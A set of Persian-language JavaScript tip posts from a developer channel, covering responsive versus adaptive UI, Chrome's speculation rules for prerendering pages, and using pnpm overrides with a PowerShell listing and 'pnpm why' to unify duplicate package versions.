🔧 بهترین راهکار، استفاده از ترکیب این دو رویکرد است: بگذارید رابط کاربری نسبت به همه اندازه‌های صفحه واکنش نشان دهد، و در بخش‌های بحرانی، با دقت پیکسلی تطبیق یابد. کارت‌های واکنش‌گرا همراه با فرم‌های تطبیقی، راهکاری متعادل، کارآمد و هوشمندانه برای طراحی رابط کاربری فراهم می‌سازد.



#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
چند روز پیش گوگل از قابلیت جدیدی به نام [Speculation API](https://developer.chrome.com/docs/web-platform/prerender-pages) رونمایی کرد.

این API به شما امکان می‌دهد که پیش از بارگذاری واقعی، یک منبع را از پیش بارگیری یا حتی رندر کنید:

<script type="speculationrules">
{
"prerender": [
{
"urls": ["next.html", "next2.html"]
}
]
}
</script>


توسعه‌دهنده می‌تواند به مرورگر اعلام کند که صفحاتی را که احتمال زیادی دارد کاربر به آن‌ها مراجعه کند، در پس‌زمینه بارگذاری کند. در نتیجه، آن صفحات تقریباً به‌صورت آنی باز خواهند شد.
(جالب است بدانید VitePress همین کار را به‌صورت پیش‌فرض برای مقالهٔ بعدی انجام می‌دهد.)

🔧 این قابلیت بیشترین کارایی را در پروژه‌های SSR و وب‌سایت‌های MPA دارد. در مقابل، برای SPAها چندان سودی ندارد، چون به‌طور کلی در مسیریابی داخلی، سرعت خوبی دارند.

🌐 در حال حاضر این قابلیت در مرورگرهای Chrome و Microsoft Edge پشتیبانی می‌شود.

📶 کاربران با اینترنت ضعیف یا گران‌قیمت احتمالاً با دیدن این ویژگی، ایستاده کف می‌زنند!


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
2
‏### 🔧 Override در pnpm یعنی چی و چرا بهش نیاز داریم؟

در پروژه‌های جاوااسکریپتی، مخصوصاً وقتی از ابزارهایی مثل pnpm یا npm استفاده می‌کنیم، پکیج‌ها ممکنه به‌صورت زنجیره‌ای به نسخه‌های مختلفی از یک کتابخانه وابسته باشن.

📌 مثلاً فرض کن پروژه‌ت از لایبرری foo استفاده می‌کنه، و foo خودش به lodash@4.17.20 وابسته‌ست.
از طرف دیگه، یه لایبرری دیگه (مثل bar) هم از lodash@4.17.15 استفاده می‌کنه.

در نتیجه، توی node_modules`، **دو نسخه مختلف از `lodash** نصب می‌شن.

📦 این باعث می‌شه:

* حجم نهایی پروژه بیشتر بشه
* احتمال بروز ناسازگاری و باگ بالا بره
* دیباگ کردن سخت‌تر بشه

---

### اینجاست که override وارد میشه!

با override می‌تونی به pnpm بگی:
«هر پکیجی که `lodash` رو می‌خواد، فقط از نسخه‌ای استفاده کن که من می‌گم.»

### 🧩 مثال واقعی:

فرض کن پروژه‌ت از چند مسیر مختلف نیاز به jsesc داره، ولی نسخه‌هاش فرق دارن:

‏* chalk از jsesc@2.5.2 استفاده می‌کنه
* یه لایبرری دیگه از jsesc@3.0.2

حالا تو می‌خوای همه از نسخه ۳.۰.۲ استفاده کنن، چون نسخه قدیمی مشکل امنیتی یا باگ داره.

در این صورت، این‌طوری توی package.json override می‌ذاری:

"pnpm": {
"overrides": {
"jsesc": "3.0.2"
}
}


با این کار:

‏* pnpm جلوی نصب نسخه‌های دیگه‌ی jsesc رو می‌گیره
* همه پکیج‌ها از همون نسخه‌ای استفاده می‌کنن که تو تعیین کردی
* پروژه سبک‌تر و قابل پیش‌بینی‌تر می‌شه

---

### 💡 نتیجه:

‌‏`override` یه ابزار قدرتمند برای مدیریت نسخه‌ی پکیج‌هاست.
به‌ویژه در پروژه‌های بزرگ با وابستگی‌های زیاد، کمک می‌کنه:

* از چند نسخه‌ای شدن جلوگیری بشه
* ناسازگاری‌های ناگهانی برطرف بشه
* همه‌چیز یکدست و قابل کنترل باشه


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
2
🎯 شناسایی و اعمال override پکیج‌ها در `package.json`


در پست قبل راجع به تعریف override صحبت شد اینکه گاهی تو پروژه‌های بزرگ با چند نسخه از یه پکیج خاص در node_modules روبه‌رو می‌شی. این می‌تونه باعث سنگین شدن پروژه، ناسازگاری، یا حتی بروز باگ بشه.

برای شناسایی این موارد، می‌تونی از کامند زیر در PowerShell استفاده کنی:

Get-ChildItem -Path "E:\p\sd\front\node_modules" -Directory -Recurse | Where-Object { $_.Name -match '^[^@]+@\d+(\.\d+)*$' }


📂 این دستور فولدرهایی از node_modules رو فیلتر می‌کنه که به شکل package@version نام‌گذاری شدن. مثلاً:

jsesc@2.5.2
jsesc@3.0.2
ansi-regex@5.0.1


یعنی چند نسخه مختلف از یه پکیج توی پروژه‌ت وجود داره.

---

🔍 حالا اگه خواستی بدونی یه پکیج چرا نصب شده و از طرف کدوم وابستگی‌ها اومده، از دستور pnpm why استفاده کن:

pnpm why jsesc


خروجی ممکنه چیزی شبیه این باشه:
jsesc@3.0.2
└─ ansi-regex@5.0.1
└─ strip-ansi@6.0.1
└─ chalk@4.1.2
└─ your-project > some-lib > chalk


این دستور مسیر وابستگی رو نشون می‌ده و مشخص می‌کنه کدوم پکیج، jsesc رو وارد پروژه کرده.

---

می‌خوای همه نسخه‌های مختلف یک پکیج رو مجبور کنی که فقط از یک نسخه خاص استفاده کنن. اینجاست که قابلیت pnpm.overrides وارد عمل می‌شه.

با اضافه کردن بخش زیر به package.json:

"pnpm": {
"overrides": {
"jsesc": "3.0.2"
}
}


تمام لایبرری‌هایی که از jsesc استفاده می‌کنن، حالا مجبور می‌شن فقط از نسخه `۳.۰.۲` استفاده کنن — حتی اگه خودشون نسخه دیگه‌ای رو درخواست کرده باشن.

این تکنیک بهش می‌گن core override. ابزاری قوی برای مدیریت وابستگی‌ها در پروژه‌های پیچیده.

---

📦 نتیجه:
✔️ وابستگی‌های یکدست
✔️ حذف نسخه‌های اضافه
✔️ کاهش حجم نهایی
✔️ افزایش ثبات و پایداری پروژه


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
3